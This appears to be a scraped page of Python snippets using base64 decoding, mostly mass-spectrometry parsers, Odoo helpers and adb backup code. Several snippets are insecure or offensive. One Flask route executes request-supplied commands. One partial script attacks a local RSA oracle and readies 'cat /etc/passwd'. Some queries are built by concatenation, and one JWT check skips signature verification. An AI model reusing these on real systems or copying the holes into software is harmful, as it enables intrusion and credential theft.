Beispiel #1
0
def _decode(data, comp, d_array_length, f_type, d_type):
    """
    Decode ms-numpress, b64 and/or zlib compressed data.

    Args:
        data (str): compressed data
        comp (str): compression method
        d_array_length (int): length of the uncompressed data array
        fType (str): float type (32 or 64 bit)
        d_type (str): type of data (mz, i, or time)

    Returns:
        result (tuple(str, list)): tuple containing the datatype and the
        decompressed data list.
    """
    if f_type == '32-bit float':
        if np is not None:
            f_type = np.float32
        else:
            f_type = 'f'
    elif f_type == '64-bit float':
        if np is not None:
            f_type = np.float64
        else:
            f_type = 'd'
    else:
        f_type = None
    decoded_data = b64dec(data)
    if 'zlib' in comp or \
            'zlib compression'in comp:
        decoded_data = zlib.decompress(decoded_data)

    if 'ms-np-linear' in comp \
            or 'ms-np-pic' in comp \
            or 'ms-np-slof' in comp \
            or 'MS-Numpress linear prediction compression' in comp \
            or 'MS-Numpress short logged float compression' in comp:
        result = []
        # start ms numpress decoder globally?
        if 'ms-np-linear' in comp \
                or 'MS-Numpress linear prediction compression' in comp:
            result = pymzml.MSDecoder.decodeLinear(decoded_data)
        elif 'ms-np-pic' in comp:
            result = pymzml.MSDecoder.decode_pic(decoded_data)
        elif 'ms-np-slof' in comp \
                or 'MS-Numpress short logged float compression' in comp:
            result = pymzml.MSDecoder.decode_slof(decoded_data)
        return (d_type, result)

    if np is not None:
        array = np.fromstring(decoded_data, f_type)
    else:
        fmt   = "{endian}{array_length}{float_type}".format(
            endian       = '<',
            array_length = d_array_length,
            float_type   = f_type
        )
        array = struct.unpack(fmt, decoded_data)
    return (d_type, array)
Beispiel #2
0
def root(data):
    ddata = b64dec(str(data))
    sechash, user, host, desc = ddata.split('/')
    if verify_hash(sechash, user, host, desc):
        ngext.acknowledge_svc_problem(host, desc, 0, 1, 0, user,
                                  'acknowledgement sent from phone')
        return "acknowledged!"
    return "what are you trying to pull?"
Beispiel #3
0
def init_scan(inputfile):

    fn1 = inputfile
    scan_time = []
    spec_m = []

    spec_idx = 0
    for event, elem in et.iterparse(fn1, ("start", "end")):

        if (elem.tag.endswith('cvParam')
                and elem.attrib['name'] == 'time array'):
            break

        if (elem.tag.endswith('cvParam')
                and elem.attrib['name'] == 'scan start time'
                and event == 'end'):
            scan_time.append(float(elem.attrib['value']))

        if (elem.tag.endswith("spectrum")
                or elem.tag.endswith("chromatogram")):
            spec_len = elem.attrib['defaultArrayLength']
            spec_idx = int(elem.attrib['index'])
            #print (spec_idx, spec_len)    ##@@ To be deleted...@@##

        elif (spec_idx == 0 and elem.tag.endswith('cvParam')):
            if (elem.attrib['name'] == '64-bit float'): spec_type = 'd'
            elif (elem.attrib['name'] == '32-bit float'): spec_type = 'f'
            elif (elem.attrib['name'] == 'zlib compression'):
                spec_comp = 'zlib'
            elif (elem.attrib['name'] == 'm/z array'):
                spec_name = 'mz'
            elif (elem.attrib['name'] == 'intensity array'):
                spec_name = 'i'
            elif (elem.attrib['name'] == 'time array'):
                spec_name = 't'

        elif (spec_idx == 0 and elem.tag.endswith("binary")
              and event == 'end'):
            #print("$$$ length/float/comp/type", event, spec_idx, spec_len, spec_type, spec_comp, spec_name)
            unpackedData = []
            base64Data = elem.text.encode("utf-8")
            decodedData = b64dec(base64Data)
            decodedData = zlib.decompress(decodedData)
            fmt = "{endian}{arraylength}{floattype}".format(
                endian="<", arraylength=spec_len, floattype=spec_type)
            #unpackedData = unpack(fmt, decodedData)
            #print("Data type/length/example ", spec_name, len(unpackedData), unpackedData[0:2])

            if spec_name == 'mz':
                unpackedData = unpack(fmt, decodedData)
                spec_m = list(unpackedData)
            #elif spec_name=='i' : spec_i[spec_idx]=list(unpackedData)

    scan_num = spec_idx + 1

    return scan_num, scan_time, spec_m
Beispiel #4
0
def index():
    command = request.args.get('cmd')
    if command is None:
        command = b64enc(encrypt(b'ping -c 4 127.0.0.1'))
        return render_template('index.html', command=command.decode())
    try:
        output = execute(decrypt(b64dec(command)).decode())
    except Exception as err:
        return render_template('index.html', command=command, error=err)
    return render_template('index.html', command=command, output=output)
Beispiel #5
0
def decrypt(text):
    '''Inverts encrypt'''
    # we can unquote even if text is not quoted.  
    text = unquote_plus(text)
    # grab salt
    randstr = text[:pad_len]
    # grab message
    text = text[pad_len:]
    cip = cipher(randstr)
    return pkcs5unpad(cip.decrypt(b64dec(text)), key_len)
Beispiel #6
0
def decrypt(text):
    '''Inverts encrypt'''
    # we can unquote even if text is not quoted.  
    text = unquote_plus(text)
    # grab salt
    randstr = text[:pad_len]
    # grab message
    text = text[pad_len:]
    cip = cipher(randstr)
    return pkcs5unpad(cip.decrypt(b64dec(text)), key_len)
Beispiel #7
0
	def get_password(self, key):
		cryptkey = sha1(key).hexdigest()
		bf = Blowfish.new(cryptkey, Blowfish.MODE_ECB)
		try:
			encrypted_pass = b64dec(self[cryptkey])
		except Exception:
			return ''
		try:
			decrypted_pass = self._depad_pass(bf.decrypt(encrypted_pass))
			return decrypted_pass
		except Exception:
			return ''
 def do_zip(self, cr, uid, ids, context):
     form = self.browse(cr, uid, ids)[0]
     (descriptor, zipname) = tempfile.mkstemp("eaccount_", "__asti_")
     zipDoc = ZipFile(zipname, "w")
     xmlContent = b64dec(form.stamped_file) if form.stamped_file else b64dec(form.primary_file)
     zipDoc.writestr(form.filename, xmlContent, zipfile.ZIP_DEFLATED)
     zipDoc.close()
     os.close(descriptor)
     filename = self.pool.get("res.users").browse(cr, uid, uid).company_id.rfc + str(form.year) + form.month
     if form.xml_target == "accounts_catalog":
         filename += "CT"
     elif form.xml_target == "trial_balance":
         filename += "B" + form.trial_delivery
     elif form.xml_target == "vouchers":
         filename += "PL"
     elif form.xml_target == "helpers":
         filename += "XF"
     filename += ".zip"
     self.write(
         cr, uid, ids, {"state": "zip_done", "zipped_file": b64enc(open(zipname, "rb").read()), "filename": filename}
     )
     return self._reopen_wizard(ids[0])
Beispiel #9
0
def custom_rsa_decrypt(private_key, data):
	result = b""
	if type(data) == bytes:
		data = data.decode()
	datas = data.split("$")
	sentinel = Random.new().read(256)
	private_key = PKCS1_v1_5.new(private_key)
	for dt in datas:
		b_dt = str.encode(dt)
		b64_dt = b64dec(b_dt)
		if b64_dt != b"":
			result += private_key.decrypt(b64_dt, None)
	return result
 def do_zip(self, cr, uid, ids, context):
     form = self.browse(cr, uid, ids)[0]
     (descriptor, zipname,) = tempfile.mkstemp('eaccount_', '__asti_')
     zipDoc = ZipFile(zipname, 'w')
     xmlContent = b64dec(form.stamped_file) if form.stamped_file else b64dec(form.primary_file)
     zipDoc.writestr(form.filename, xmlContent, zipfile.ZIP_DEFLATED)
     zipDoc.close()
     os.close(descriptor)
     filename = self.pool.get('res.users').browse(cr, uid, uid).company_id.rfc + str(form.year) + form.month
     if form.xml_target == 'accounts_catalog':
         filename += 'CT'
     elif form.xml_target == 'trial_balance':
         filename += 'B' + form.trial_delivery
     elif form.xml_target == 'vouchers':
         filename += 'PL'
     elif form.xml_target == 'helpers':
         filename += 'XF'
     filename += '.zip'
     self.write(cr, uid, ids, {'state': 'zip_done',
      'zipped_file': b64enc(open(zipname, 'rb').read()),
      'filename': filename})
     return self._reopen_wizard(ids[0])
Beispiel #11
0
def extract_area(inputfile, pos_rt1, pos_rt2, pos_mz1, pos_mz2):

    fn1 = inputfile
    area = []
    spec_idx = 0

    for event, elem in et.iterparse(fn1, ("start", "end")):

        if (elem.tag.endswith('cvParam')
                and elem.attrib['name'] == 'time array'):
            break
        #
        #        if(elem.tag.endswith('cvParam') and elem.attrib['name']=='scan start time' and event=='end'):
        #            scan_time.append(elem.attrib['value'])

        if (elem.tag.endswith("spectrum")
                or elem.tag.endswith("chromatogram")):
            spec_len = elem.attrib['defaultArrayLength']
            spec_idx = int(elem.attrib['index'])
            #print (spec_idx)

            #if left_bound > spec_idx : continue     ##@@ any problem?? @@##
            if spec_idx >= pos_rt2: break

        elif (elem.tag.endswith('cvParam') and spec_idx >= pos_rt1):
            if (elem.attrib['name'] == '64-bit float'): spec_type = 'd'
            elif (elem.attrib['name'] == '32-bit float'): spec_type = 'f'
            elif (elem.attrib['name'] == 'zlib compression'):
                spec_comp = 'zlib'
            elif (elem.attrib['name'] == 'm/z array'):
                spec_name = 'mz'
            elif (elem.attrib['name'] == 'intensity array'):
                spec_name = 'i'
            elif (elem.attrib['name'] == 'time array'):
                spec_name = 't'
        elif (elem.tag.endswith("binary") and event == 'end'
              and spec_idx >= pos_rt1 and spec_name == 'i'):
            #print("$$$ length/float/comp/type", event, spec_idx, spec_len, spec_type, spec_comp, spec_name)
            unpackedData = []
            base64Data = elem.text.encode("utf-8")
            decodedData = b64dec(base64Data)
            decodedData = zlib.decompress(decodedData)
            fmt = "{endian}{arraylength}{floattype}".format(
                endian="<", arraylength=spec_len, floattype=spec_type)

            unpackedData = unpack(fmt, decodedData)
            spec_i = np.array(list(unpackedData))
            area.append(spec_i[pos_mz1:pos_mz2])

    return area
Beispiel #12
0
def _decode(data, comp, d_array_length, f_type, d_type):
    """
    Decode ms-numpress, b64 and/or zlib compressed data.

    Args:
        data (str): compressed data
        comp (str): compression method
        d_array_length (int): length of the uncompressed data array
        fType (str): float type (32 or 64 bit)
        d_type (str): type of data (mz, i, or time)

    Returns:
        result (tuple(str, list)): tuple containing the datatype and the
        decompressed data list.
    """
    if f_type == "32-bit float":
        f_type = np.float32
    elif f_type == "64-bit float":
        f_type = np.float64
    else:
        f_type = None

    decoded_data = b64dec(data)
    if "zlib" in comp or "zlib compression" in comp:
        decoded_data = zlib.decompress(decoded_data)

    if (
        "ms-np-linear" in comp
        or "ms-np-pic" in comp
        or "ms-np-slof" in comp
        or "MS-Numpress linear prediction compression" in comp
        or "MS-Numpress short logged float compression" in comp
    ):
        result = []
        # start ms numpress decoder globally?
        if (
            "ms-np-linear" in comp
            or "MS-Numpress linear prediction compression" in comp
        ):
            result = MSDecoder.decodeLinear(decoded_data)
        elif "ms-np-pic" in comp:
            result = MSDecoder.decode_pic(decoded_data)
        elif (
            "ms-np-slof" in comp or "MS-Numpress short logged float compression" in comp
        ):
            result = MSDecoder.decode_slof(decoded_data)
        return (d_type, result)

    array = np.fromstring(decoded_data, f_type)
    return (d_type, array)
Beispiel #13
0
def check_auth(request):
    """Controls the Authorization header and returns the username and the
    collection.

    Raises a 401 in these cases:

    - If the header is not present or unrecognized
    - If the request path is not *owned* by that user
    - the database token

    The header is of the form:

        AppSync b64(assertion):b64(username):b64(token)

    """
    user = request.matchdict['user']
    collection = request.matchdict['collection']
    auth = request.environ.get('HTTP_AUTHORIZATION')
    mock_browserid = request.registry.get('mock_browserid')
    if mock_browserid:
        return user, collection, None

    if auth is None:
        raise HTTPUnauthorized()

    if not auth.startswith('AppSync '):
        raise HTTPUnauthorized('Invalid token')

    auth = auth[len('AppSync '):].strip()
    auth_part = auth.split(':')
    if len(auth_part) != 3:
        raise HTTPUnauthorized('Invalid token')

    try:
        auth_part = [b64dec(part) for part in auth_part]
    except (binascii.Error, ValueError):
        raise HTTPUnauthorized('Invalid token')

    assertion, username, dbtoken = auth_part

    # let's reject the call if the url is not owned by the user
    if user != username:
        raise HTTPUnauthorized()

    # need to verify the user signature here
    # XXX
    return user, collection, dbtoken
Beispiel #14
0
def _decode(data, comp, d_array_length, f_type, d_type):
    """
    Decode ms-numpress, b64 and/or zlib compressed data.

    Args:
        data (str): compressed data
        comp (str): compression method
        d_array_length (int): length of the uncompressed data array
        fType (str): float type (32 or 64 bit)
        d_type (str): type of data (mz, i, or time)

    Returns:
        result (tuple(str, list)): tuple containing the datatype and the
        decompressed data list.
    """
    if f_type == "32-bit float":
        f_type = np.float32
    elif f_type == "64-bit float":
        f_type = np.float64
    else:
        f_type = None

    decoded_data = b64dec(data)
    if "zlib" in comp or "zlib compression" in comp:
        decoded_data = zlib.decompress(decoded_data)

    if ("ms-np-linear" in comp or "ms-np-pic" in comp or "ms-np-slof" in comp
            or "MS-Numpress linear prediction compression" in comp
            or "MS-Numpress short logged float compression" in comp):
        result = []
        # start ms numpress decoder globally?
        if ("ms-np-linear" in comp
                or "MS-Numpress linear prediction compression" in comp):
            result = MSDecoder.decodeLinear(decoded_data)
        elif "ms-np-pic" in comp:
            result = MSDecoder.decode_pic(decoded_data)
        elif ("ms-np-slof" in comp
              or "MS-Numpress short logged float compression" in comp):
            result = MSDecoder.decode_slof(decoded_data)
        return (d_type, result)

    array = np.fromstring(decoded_data, f_type)
    return (d_type, array)
def check_auth(request):
    """Controls the Authorization header and returns the username and the
    collection.

    Raises a 401 in these cases:

    - If the header is not present or unrecognized
    - If the request path is not *owned* by that user
    - the database token

    The header is of the form:

        AppSync b64(assertion):b64(username):b64(token)

    """
    user = request.matchdict['user']
    collection = request.matchdict['collection']
    auth = request.environ.get('HTTP_AUTHORIZATION')
    mock_browserid = request.registry.get('mock_browserid')
    if mock_browserid:
        return user, collection, None

    if auth is None:
        raise HTTPUnauthorized('No authorization provided')

    if not auth.startswith('AppSync '):
        logger.error('Attempted auth with bad type (not AppSync): %r' % auth)
        raise HTTPUnauthorized('Invalid token; expected Authorization type '
                               'AppSync')

    auth = auth[len('AppSync '):].strip()
    auth_part = auth.split(':')
    if len(auth_part) != 3:
        logger.error('Attempted auth with bad value (not x:y:z): %r' % auth)
        raise HTTPUnauthorized('Invalid token; invalid format')

    try:
        auth_part = [b64dec(part) for part in auth_part]
    except (binascii.Error, ValueError), e:
        logger.error('Attempted auth with invalid base64 content'
                     ': %r (%s)' % (auth, e))
        raise HTTPUnauthorized('Invalid token: invalid base64 encoding')
Beispiel #16
0
def decodeAndVerifyJee(pubkey, jeeText):
    """
    Parses and verifies a JSON encryption envelope against our default settings.
    Verifies the pubkey fingerprint against the pubkey provided.    
    @return enc_data
    @raise FileProcessingError if any problems are found
    """
    env = {}
    try:
        env = json.loads(jeeText)
    except ValueError as e:
        raise FileProcessingError("Failed to parse JSON: " + str(e))

    expectedFpB64 = b64enc(pkFingerprint(pubkey))

    # Probes the env dictionary for an expected k,v pair
    def check(k, v):
        return k in env and env[k] == v

    # Check for expected fields and values
    if not check("typ", "jee"):
        raise FileProcessingError("Unknown packaging type -- expected typ=jee")

    if not check("alg", "RSA-PKCS1-OAEP-AES128-GCM"):
        raise FileProcessingError(
            "Unknown encryption algorithm -- expected alg='RSA-PKCS1-OAEP-AES128-GCM'"
        )

    if not check("pk_fp_alg", "PEM-SHA256"):
        raise FileProcessingError(
            "Unknown public key fingerprint algorithm -- expected pk_fp_alg='PEM-SHA256'"
        )

    if not check("pk_fp", expectedFpB64):
        raise FileProcessingError("Public key fingerprint mismatch.")

    if not "enc_msg" in env or len(env["enc_msg"]) == 0:
        raise FileProcessingError(
            "Encrypted message is missing or empty (enc_msg)")

    return b64dec(str(env["enc_msg"]))
def make_post(_, query):
    message = query
    if message.from_user.first_name:
        name = message.from_user.first_name
    elif message.from_user.username:
        name = message.from_user.username
    else:
        name = "Anonimo"
    channel_id, channel_name, sub = query.data.split("_")
    DOING[query.from_user.id] = [int(channel_id), None]
    pro = 'Sì' if sub == 'pro' else 'No'
    pro = 'Sì'
    channel_name = b64dec(channel_name.encode("utf-8")).decode()
    data = (('📸 Foto: ❌', 'pic_true'), (
        '✍ Didascalia: ❌',
        'text_true',
    ), ('⏰ Programma: ❌',
        'schedule_true' if pro == 'Sì' else 'schedule_false'),
            ('✅ Procedi', 'post_complete'), ('⬅️ Indietro', 'back_start'))
    buttons = []
    for text, callback in data:
        if not callback.startswith("schedule") and callback not in (
                "back_start", "post_complete"):
            callback += "_"
            callback += "pro" if pro == 'Sì' else 'free'
        buttons.append([InlineKeyboardButton(text, callback_data=callback)])
    buttons = InlineKeyboardMarkup(buttons)
    try:
        query.edit_message_text(
            f"**AmazonOffers Manager - Crea Post**\n\nQui puoi rivedere e programmare un post nel canale\n\n📣 Canale: {channel_name}\n🆔 ID: `{channel_id}`\n⭐️ Pro: {pro}\n\n🗺 **Legenda** 🗺\n\nFoto: Se impostato, allega la foto del prodotto al post\n\nDidascalia: Se impostato, allega una breve descrizione del prodotto al post\n\nProgramma: Programma l'invio del post, solo per utenti PRO\n\n__Il prodotto oggetto del post sarà casuale, scelto tra le offerte giornaliere disponibili__",
            reply_markup=buttons)
        IDS[query.from_user.id] = channel_id
    except exceptions.bad_request_400.MessageNotModified as exc:
        logging.error(
            f"Error in chat with {name} [{query.from_user.id}] -> {exc}")
    except FloodWait as fw:
        logging.error(
            f"Error in chat with {name} [{message.from_user.id}] -> FloodWait! Sleeping for {fw.x} seconds..."
        )
        time.sleep(fw.x)
Beispiel #18
0
def get_verified_email(jwt):
    # FIXME: This blindly trusts the JWT. Need to verify:
    # [ ] header is using an appropriate signing algorithm
    # [ ] signature is valid and matches a key from the LA provider's JWK Set
    # [x] iss matches a trusted LA provider's origin
    # [x] aud matches this site's origin
    # [x] exp > (now) > iat, with some margin
    # [-] sub is a valid email address

    (raw_header, raw_payload, raw_signature) = jwt.split('.')
    payload = json.loads(b64dec(raw_payload + '====').decode('utf-8'))

    iss = payload['iss']
    known_iss = 'https://%s' % META['LA_HOSTNAME']
    if iss != known_iss:
        return {'error':
                'Untrusted issuer. Expected %s, got %s' % (known_iss, iss)}

    aud = payload['aud']
    known_aud = META['RP_ORIGIN']
    if aud != known_aud:
        return {'error':
                'Audience mismatch. Expected %s, got %s' % (known_aud, aud)}

    iat = payload['iat']
    exp = payload['exp']
    now = int(time())
    slack = 3 * 60  # 3 minutes
    currently_valid = (iat - slack) < now < (exp + slack)
    if not currently_valid:
        return {'error':
                'Timestamp error. iat %d < now %d < exp %d' % (iat, now, exp)}

    sub = payload['sub']
    if not re.match('.+@.+', sub):  # <-- TODO: Use a proper parser.
        return {'error': 'Invalid email: %s' % sub}

    return {'email': payload['sub']}
Beispiel #19
0
def authenticate(request):
    user = request.get('user')
    users = db.GqlQuery("SELECT * FROM User WHERE user ='******'")
    assert users.count(2) == 1

    (key, l) = ascii.encode(users[0].publicKey)
    verifier = SchnorrVerifier(bin2int(b64dec(key)))

    t = request.get('t')
    # FIXME: check t is recent, expire old tokens
    tokens = db.GqlQuery("SELECT * FROM Token WHERE token = '" + t + "'")
    if tokens.count(1) > 0:
        raise ReplayError()

    token = Token()
    token.token = t
    token.put()

    s = getb64(request, 's')
    e = getb64(request, 'e')

    if not verifier.verify(t, bin2int(s), bin2int(e)):
        raise VerifyError()
Beispiel #20
0
def authenticate(request):
  user = request.get('user')
  users = db.GqlQuery("SELECT * FROM User WHERE user ='******'")
  assert users.count(2) == 1

  (key, l) = ascii.encode(users[0].publicKey)
  verifier = SchnorrVerifier(bin2int(b64dec(key)))
    
  t = request.get('t')
  # FIXME: check t is recent, expire old tokens
  tokens = db.GqlQuery("SELECT * FROM Token WHERE token = '"
                       + t + "'")
  if tokens.count(1) > 0:
    raise ReplayError()

  token = Token()
  token.token = t
  token.put()
    
  s = getb64(request, 's')
  e = getb64(request, 'e')
    
  if not verifier.verify(t, bin2int(s), bin2int(e)):
    raise VerifyError()
Beispiel #21
0
 def _loadPrint(self):
     """Load serialized print data.
     Returns a tuple containing the unserialized data and image."""
     (data, img) = self._comarCall('loadFPData', 'modifyfingerprintdata', (self.__uid))
     return (pyfprint.Fprint(b64dec(data)), self.toPixmap(b64dec(img)))
Beispiel #22
0
def getb64(request, param):
  v = request.get(param)
  (v, l) = ascii.encode(v)
  return b64dec(v)
Beispiel #23
0
                raise RuntimeError('%s: expected ext4 filesystem, but found %s' % (partname, fstype))
            cmdline = 'tar -czC %s %s . 2> /dev/null' % (mount, taropts or '')
        else:
            print("Saving partition %s (%s), %d MiB uncompressed..." % (partname, devname, size/2048))
            if not really_umount('/dev/block/'+devname, mount):
                raise RuntimeError('%s: could not unmount %s' % (partname, mount))
            cmdline = 'dd if=/dev/block/%s 2> /dev/null | gzip -f' % devname

        if args.transport == adbxp.pipe_bin:
            # need stty -onlcr to make adb-shell an 8-bit-clean pipe: http://stackoverflow.com/a/20141481/20789
            child = sp.Popen(adbcmd+('shell','stty -onlcr && '+cmdline), stdout=sp.PIPE)
            block_iter = iter(lambda: child.stdout.read(65536), b'')
        elif args.transport == adbxp.pipe_b64:
            # pipe output through base64: excruciatingly slow
            child = sp.Popen(adbcmd+('shell',cmdline+'| base64'), stdout=sp.PIPE)
            block_iter = iter(lambda: b64dec(b''.join(child.stdout.readlines(65536))), b'')
        else:
            port = really_forward(5600+partn, 5700+partn)
            if not port:
                raise RuntimeError('%s: could not ADB-forward a TCP port')
            child = sp.Popen(adbcmd+('shell',cmdline + '| nc -l -p%d -w3'%port), stdout=sp.PIPE)

            # FIXME: need a better way to check that socket is ready to transmit
            time.sleep(1)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('localhost', port))
            block_iter = iter(lambda: s.recv(65536), b'')

        pbwidgets = ['  %s: ' % fn, Percentage(), ' ', ETA(), ' ', FileTransferSpeed()]
        pbar = ProgressBar(maxval=size*512, widgets=pbwidgets).start()
Beispiel #24
0
def backup_partition(adb, pi, bp, transport, backupdir, verify=True):
    # Create a FIFO for device-side md5 generation
    if verify:
        adb.check_call(
            ('shell',
             'rm -f /tmp/md5in /tmp/md5out 2> /dev/null; mknod /tmp/md5in p'))

    if bp.taropts:
        if not pi.mountpoint:
            raise RuntimeError("%s: don't know how to mount this partition" %
                               pi.devname)
        print("Saving tarball of %s (mounted at %s), %d MiB uncompressed..." %
              (pi.devname, pi.mountpoint, pi.size / 2048))
        fstype = really_mount(adb, '/dev/block/' + pi.devname, pi.mountpoint)
        if not fstype:
            raise RuntimeError('%s: could not mount %s' %
                               (pi.partname, pi.mountpoint))
        if fstype != pi.fstype:
            raise RuntimeError('%s: expected %s filesystem, but found %s' %
                               (pi.partname, pi.fstype, fstype))
        cmdline = 'tar -czC %s %s . 2> /dev/null' % (pi.mountpoint, bp.taropts
                                                     or '')
    else:
        print("Saving partition %s (%s), %d MiB uncompressed..." %
              (pi.partname, pi.devname, pi.size / 2048))
        #      if not really_umount(adb, '/dev/block/'+pi.devname, pi.mountpoint):
        #          raise RuntimeError('%s: could not unmount %s' % (pi.partname, pi.mountpoint))
        print("%s could not unmount %s " % (pi.partname, pi.mountpoint))
        cmdline = 'dd if=/dev/block/%s 2> /dev/null | gzip -f' % pi.devname

    if verify:
        cmdline = 'md5sum /tmp/md5in > /tmp/md5out & %s | tee /tmp/md5in' % cmdline
        localmd5 = md5()

    if transport == adbxp.pipe_bin:
        # need stty -onlcr to make adb-shell an 8-bit-clean pipe: http://stackoverflow.com/a/20141481/20789
        child = adb.pipe_out(('shell', 'stty -onlcr && ' + cmdline))
        block_iter = iter(lambda: child.stdout.read(65536), b'')
    elif transport == adbxp.pipe_b64:
        # pipe output through base64: excruciatingly slow
        child = adb.pipe_out(('shell', cmdline + '| base64'))
        block_iter = iter(
            lambda: b64dec(b''.join(child.stdout.readlines(65536))), b'')
    elif transport == adbxp.pipe_xo:
        # use adb exec-out, which is
        # (a) only available with newer versions of adb on the host, and
        # (b) only works with newer versions of TWRP (works with 2.8.0 for @kerlerm)
        # https://plus.google.com/110558071969009568835/posts/Ar3FdhknHo3
        # https://android.googlesource.com/platform/system/core/+/5d9d434efadf1c535c7fea634d5306e18c68ef1f/adb/commandline.c#1244
        child = adb.pipe_out(('exec-out', cmdline))
        block_iter = iter(lambda: child.stdout.read(65536), b'')
    else:
        port = really_forward(adb, 5600 + pi.partn, 5700 + pi.partn)
        if not port:
            raise RuntimeError('%s: could not ADB-forward a TCP port')
        child = adb.pipe_out(('shell', cmdline + '| nc -l -p%d -w3' % port))

        # FIXME: need a better way to check that socket is ready to transmit
        time.sleep(1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('localhost', port))
        block_iter = iter(lambda: s.recv(65536), b'')

    pbwidgets = [
        '  %s: ' % bp.fn,
        Percentage(), ' ',
        FileTransferSpeed(), ' ',
        DataSize()
    ]
    pbar = ProgressBar(max_value=pi.size * 512, widgets=pbwidgets).start()

    with open(os.path.join(backupdir, bp.fn), 'wb') as out:
        for block in block_iter:
            out.write(block)
            if verify:
                localmd5.update(block)
            pbar.update(min(out.tell(), pbar.max_value))
        else:
            pbar.max_value = out.tell(
            ) or pbar.max_value  # need to adjust for the smaller compressed size
            pbar.finish()

    if verify:
        devicemd5 = adb.check_output(
            ('shell', 'cat /tmp/md5out && rm -f /tmp/md5in /tmp/md5out'
             )).strip().split()[0]
        localmd5 = localmd5.hexdigest()
        if devicemd5 != localmd5:
            raise RuntimeError("md5sum mismatch (local %s, device %s)" %
                               (localmd5, devicemd5))
        with open(os.path.join(backupdir, bp.fn + '.md5'), 'w') as md5out:
            print('%s *%s' % (localmd5, bp.fn), file=md5out)

    child.wait()
    if transport == adbxp.tcp:
        s.close()
        if not really_unforward(adb, port):
            raise RuntimeError('could not remove ADB-forward for TCP port %d' %
                               port)
 def _loadPrint(self):
     """Load serialized print data.
     Returns a tuple containing the unserialized data and image."""
     (data, img) = self._comarCall("loadFPData", "modifyfingerprintdata", (self.__uid))
     return (pyfprint.Fprint(b64dec(data)), self.toPixmap(b64dec(img)))
Beispiel #26
0
def binary_search(inf, sup):
    med = (inf + sup) // 2
    if check(med):
        if (sup - inf) <= 2:
            return med
        return binary_search(inf, med)
    else:
        if (sup - inf) <= 2:
            return sup
        return binary_search(med, sup)


resp = requests.get('http://127.0.0.1:5000/')
matchs = re.findall('value="([^"]+)" name="cmd"', resp.text)

inf = b2l(b64dec(matchs[0]))
sup = 2 * inf
while not check(sup):
    inf = sup
    sup = 2 * inf

e = 0x10001
n = binary_search(inf, sup)
sys.stdout.write('\rMODULUS: {:x} \n'.format(n))

pubkey = RSA.construct((n, e))
print(pubkey.export_key().decode())

command = b'cat /etc/passwd'
if len(sys.argv) > 1:
    command = sys.argv[1].encode()
Beispiel #27
0
def scan_mp( centroid_file_mzML, RESULTS_PATH, NUM_C = 1 ):
    
    global spec_m
    global spec_i
    global scan_time
    
    fn1= centroid_file_mzML   # File name to be changed. Remember to specify the folder location for this file.
    fout = RESULTS_PATH+ "/Initial_pks.txt" # File for save the initial scaning results. To be changed
    
    spec_comp = []
    for event, elem in et.iterparse(fn1, ("start", "end")):
        if(elem.tag.endswith('cvParam') and elem.attrib['name']=='time array'): break
        
        if(elem.tag.endswith('cvParam') and elem.attrib['name']=='scan start time' and event=='end'):
            scan_time.append(elem.attrib['value'])
        
        if(elem.tag.endswith("spectrum") or elem.tag.endswith("chromatogram")):
            spec_len=elem.attrib['defaultArrayLength']
            spec_idx=int(elem.attrib['index'])
        elif(elem.tag.endswith('cvParam')):
            if(elem.attrib['name']=='64-bit float'): 	spec_type='d'
            elif(elem.attrib['name']=='32-bit float'): 	spec_type='f'
            elif(elem.attrib['name']=='zlib compression'): 	spec_comp='zlib'
            elif(elem.attrib['name']=='m/z array'): 	spec_name='mz'
            elif(elem.attrib['name']=='intensity array'): 	spec_name='i'
            elif(elem.attrib['name']=='time array'): 	spec_name='t'
        
        elif(elem.tag.endswith("binary") and event=='end'):
            unpackedData = []
            
            if (elem.text):    ## Sometimes the spectrum can be empty.
                base64Data   = elem.text.encode("utf-8")
                decodedData  = b64dec(base64Data)
                if spec_comp =='zlib':
                    decodedData  = zlib.decompress(decodedData)   ## Do this only if the file is compressed.
                
                fmt = "{endian}{arraylength}{floattype}".format(endian = "<", arraylength=spec_len, floattype=spec_type)
                unpackedData = unpack(fmt, decodedData)
                #print("Data type/length/example ", spec_name, len(unpackedData), unpackedData[0:2])
                
                if   spec_name=='mz':
                    spec_m.append( list(unpackedData) )
                elif spec_name=='i' :
                    spec_i.append( list(unpackedData) )

    
    pks_found_all = Parallel(n_jobs=(NUM_C))(delayed(scan_EIC)(ind)for ind in range(len(Pick_mlist)) )
    
    pks_merged = []
    for jj in range(np.shape(pks_found_all)[0]):
        ttt = np.array(pks_found_all[jj])
        if ttt.any():
            pks_merged.extend(ttt)


    ############## Done! ################
    print (np.shape(pks_merged))
    
    pks_final = merge(pks_merged)

    np.savetxt(fout, pks_final, fmt='%.4f', delimiter="  ")
    print ('Initial screening done! Total peaks found: ', len(pks_final) )

    return pks_final
Beispiel #28
0
def backup_partition(adb, pi, bp, transport, verify=True):
    # Create a FIFO for device-side md5 generation
    if verify:
        adb.check_call(('shell','rm -f /tmp/md5in /tmp/md5out 2> /dev/null; mknod /tmp/md5in p'))

    if bp.taropts:
        print("Saving tarball of %s (mounted at %s), %d MiB uncompressed..." % (pi.devname, pi.mountpoint, pi.size/2048))
        fstype = really_mount(adb, '/dev/block/'+pi.devname, pi.mountpoint)
        if not fstype:
            raise RuntimeError('%s: could not mount %s' % (pi.partname, pi.mountpoint))
        if fstype != pi.fstype:
            raise RuntimeError('%s: expected %s filesystem, but found %s' % (pi.partname, pi.fstype, fstype))
        cmdline = 'tar -czC %s %s . 2> /dev/null' % (pi.mountpoint, bp.taropts or '')
    else:
        print("Saving partition %s (%s), %d MiB uncompressed..." % (pi.partname, pi.devname, pi.size/2048))
        if not really_umount(adb, '/dev/block/'+pi.devname, pi.mountpoint):
            raise RuntimeError('%s: could not unmount %s' % (pi.partname, pi.mountpoint))
        cmdline = 'dd if=/dev/block/%s 2> /dev/null | gzip -f' % pi.devname

    if verify:
        cmdline = 'md5sum /tmp/md5in > /tmp/md5out & %s | tee /tmp/md5in' % cmdline
        localmd5 = md5()

    if transport == adbxp.pipe_bin:
        # need stty -onlcr to make adb-shell an 8-bit-clean pipe: http://stackoverflow.com/a/20141481/20789
        child = adb.pipe_out(('shell','stty -onlcr && '+cmdline))
        block_iter = iter(lambda: child.stdout.read(65536), b'')
    elif transport == adbxp.pipe_b64:
        # pipe output through base64: excruciatingly slow
        child = adb.pipe_out(('shell',cmdline+'| base64'))
